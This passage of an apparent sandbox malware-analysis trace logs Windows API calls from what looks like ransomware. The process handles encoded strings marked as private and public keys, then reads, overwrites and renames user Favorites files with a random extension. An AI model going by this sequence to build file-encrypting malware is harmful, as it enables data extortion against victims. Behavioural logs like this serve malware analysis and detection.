lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0126.264] GetCurrentThreadId () returned 0xa30 [0126.264] GetCurrentThreadId () returned 0xa30 [0126.264] GetCurrentThreadId () returned 0xa30 [0126.264] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0126.264] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0126.265] GetCurrentThreadId () returned 0xa30 [0126.265] GetCurrentThreadId () returned 0xa30 [0126.265] GetCurrentThreadId () returned 0xa30 [0126.265] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.265] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0126.265] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.266] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x85 [0126.266] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0126.266] ReadFile (in: hFile=0x1e8, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f3d4*=0x85, lpOverlapped=0x0) returned 1 [0126.268] CloseHandle (hObject=0x1e8) returned 1 [0126.268] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0126.270] WriteFile (in: hFile=0x1e8, lpBuffer=0x1efafa0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1efafa0*, lpNumberOfBytesWritten=0x18f3e0*=0x85, lpOverlapped=0x0) returned 1 [0126.272] CloseHandle (hObject=0x1e8) returned 1 [0126.273] MoveFileW (lpExistingFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Gallery.url.Zv7uN" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live gallery.url.zv7un")) returned 1 [0126.273] GetCurrentThreadId () returned 0xa30 [0126.273] GetCurrentThreadId () returned 0xa30 [0126.274] GetCurrentThreadId () returned 0xa30 [0126.274] GetCurrentThreadId () returned 0xa30 [0126.274] GetCurrentThreadId () returned 0xa30 [0126.274] GetCurrentThreadId () returned 0xa30 [0126.274] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1 [0126.274] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0126.274] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0126.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85)) returned 1 [0126.274] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\default\\favorites\\windows live\\windows live mail.url")) returned 0x20 [0126.274] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Windows Live\\Windows Live Mail.url", dwFileAttributes=0x80) returned 1 [0126.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0126.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 